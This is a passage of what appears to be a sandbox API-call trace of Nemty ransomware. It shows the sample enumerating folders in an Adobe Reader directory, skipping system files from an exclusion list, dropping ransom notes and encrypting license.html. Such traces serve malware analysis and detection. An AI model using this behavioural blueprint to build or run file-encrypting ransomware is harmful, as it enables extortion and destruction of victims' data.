out: hFindFile=0x3423ab0) returned 1 [0172.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.890] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="ITA", cAlternateFileName="")) returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2=".") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="..") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="...") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="windows") returned -1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="$RECYCLE.BIN") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="rsa") returned -1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="NTDETECT.COM") returned -1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="ntldr") returned -1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="MSDOS.SYS") returned -1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="IO.SYS") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="boot.ini") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="boot.ini") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="AUTOEXEC.BAT") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="ntuser.dat") returned -1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="desktop.ini") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="CONFIG.SYS") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="RECYCLER") returned -1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="BOOTSECT.BAK") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="bootmgr") returned 1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="programdata") returned -1 [0172.890] lstrcmpiW (lpString1="ITA", lpString2="appdata") returned 1 [0172.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ITA", lpUsedDefaultChar=0x0) returned 3 [0172.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ITA", lpUsedDefaultChar=0x0) returned 3 [0172.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.891] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.892] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.892] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.893] CloseHandle (hObject=0x254) returned 1 [0172.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.894] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.894] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.894] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.895] CloseHandle (hObject=0x254) returned 1 [0172.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.895] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ab08a70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ab08a70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.895] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.895] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ab08a70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ab08a70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.895] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.895] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.895] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.896] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.897] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc60d, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.897] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.897] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.897] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.898] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.898] Sleep (dwMilliseconds=0x5) [0172.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ab54d30, dwHighDateTime=0x1d561e8)) [0172.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ab54d30, dwHighDateTime=0x1d561e8)) [0172.908] GetLastError () returned 0xb7 [0172.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.908] GetLastError () returned 0xb7 [0172.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.908] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.908] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.909] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.909] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="tGFdZ97g+gWk+M6tZkXEbB/JVfkowoAWWp0TJGlBLIlFHYDOIqfmnFD4am1yXNk3\r\nU/qYrSTg2kFmua45TlBV7G72uQSPk+g//G6Fvp/8Hhr87G8uzzTebE8hAdoKL/Sx\r\nJblxgNEqDd+EArgBTvpuqRG0XnEo0l3uHf3ZjgXwYMTg9C7uKcpHJJlliHIhoWFn\r\neIjK7H1Xf/4CqfXbd7ji7DsdDBvt7FOS0+uV8uKc3Z59S2XdMVJHGwC0N3lZhIZc\r\nT9wU4dPPZO+/HJv6Gg3yw0Kb9l8Qf7gdY+2R0DzEOS+0HVandaQft92qeqR2sOq5\r\nPTfRJIQJ89zKHi1pzt01iw==\r\n", pcchString=0x653e5dc) returned 1 [0172.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0172.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.909] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.909] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=50701) returned 1 [0172.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc600) returned 0x6352c48 [0172.909] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.909] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xc600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xc600, lpOverlapped=0x0) returned 1 [0172.914] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.914] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xc600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xc600, lpOverlapped=0x0) returned 1 [0172.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.914] SetFilePointer (in: 